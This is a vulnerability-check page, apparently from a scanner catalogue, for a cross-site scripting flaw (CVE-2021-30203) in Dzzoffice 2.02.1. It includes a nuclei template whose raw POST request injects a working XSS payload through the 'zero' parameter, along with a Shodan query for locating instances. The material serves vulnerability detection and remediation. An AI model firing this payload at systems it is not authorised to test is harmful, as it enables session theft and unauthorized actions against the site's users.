Dzzoffice 2.02.1 - Cross-Site Scripting

highseverity

7.2CVSS score

0.6%likelihood of exploitation, next 30 days

49%of all CVEs are less likely

Readycheck to confirm it

Dzzoffice 2.02.1_SC_UTF8 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the zero parameter.

Impact

Attackers can inject malicious JavaScript via XSS in the zero parameter, potentially stealing session cookies or performing unauthorized actions.

Fix

Upgrade to Dzzoffice version 2.02.2 or later.

How to confirm it

Send: POST /index.php?mod=system&op=orgtree&do=orgtree
Positive when: contains "\"text\":\"<img src=x onerror=alert(document.domain)>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-30203 -u <target>

The full check

id: CVE-2021-30203

info:
  name: Dzzoffice 2.02.1 - Cross-Site Scripting
  author: arafatansari
  severity: high
  description: |
    Dzzoffice 2.02.1_SC_UTF8 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the zero parameter.
  impact: |
    Attackers can inject malicious JavaScript via XSS in the zero parameter, potentially stealing session cookies or performing unauthorized actions.
  remediation: |
    Upgrade to Dzzoffice version 2.02.2 or later.
  reference:
    - https://github.com/zyx0814/dzzoffice/issues/183
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30203
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2021-30203
    epss-score: 0.00596
    epss-percentile: 0.48846
    cwe-id: CWE-79
    cpe: cpe:2.3:a:dzzoffice:dzzoffice:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"dzzoffice"
    product: dzzoffice
    vendor: dzzoffice
  tags: cve,cve2021,dzzoffice,xss,vuln

http:
  - raw:
      - |
        POST /index.php?mod=system&op=orgtree&do=orgtree HTTP/1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        id=%23&nouser=0&moderator=0&zero=<img+src=x+onerror=alert(document.domain)>&stype=0&range=0&showjob=0

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"text":"<img src=x onerror=alert(document.domain)>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from